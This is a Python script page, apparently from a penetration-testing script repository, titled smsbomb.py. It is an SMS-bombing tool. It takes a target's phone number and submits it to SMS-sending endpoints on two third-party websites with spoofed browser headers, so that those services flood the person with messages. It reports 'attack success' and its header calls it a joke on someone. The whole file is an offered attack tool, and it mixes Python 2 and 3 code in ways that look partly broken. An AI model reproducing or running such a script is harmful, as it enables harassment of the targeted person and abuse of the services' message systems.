PenetrationTestingScripts/Windows_scripts/smsbomb.py

98 lines
2.4 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

#!/usr/bin/python
#-*- coding: utf-8 -*-
#python3.5
#=====================================================================================================
#smsbomb.py
#author: ym2011
#version: 0.1
#create: 2016-08-04
#=====================================================================================================
#the short message bomb, a ticky joke for someone you fool
#the source code is honghu.py and operate.py
#=====================================================================================================
try:
import sys
import os
import ssl
import urllib
import urllib2
import httplib
import re
import string
from http import cookies
except ValueError:
print (""""
运行出错:
以下的python 库尚未安装:
该应用程序需要的库sys、 os、urllib、urllib2、httplib、re、string cookielib
请检查这些依赖库是否安装在您的操作系统上
提示:安装这些库的格式为:
apt-get install 库名字
例如: apt-get install httplib2
或者使用以下方式:
easy_install httplib2
"""")
sys.exit()
def oupeng(phone: object) -> object:
datas=""
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://www.oupeng.com/download'}
#payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url=url,headers=i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print (datas)
print ('attack success!!!')
except Exception as e:
print (e)
print("attack failed!!!")
def hongxiu(phone):
datas=""
url='http://topic.hongxiu.com/wap/action.aspx'
#请求的数据
payload={'hidtpye':'1',
'txtMobile':phone}
#注意Referer不能为空
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'}
payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print (datas)
print ('attack success!!!')
except Exception:
print (Exception)
print ("attack failed!!!")
if __name__=="__main__":
phone=raw_input('input the phone:')
oupeng(phone)
hongxiu(phone)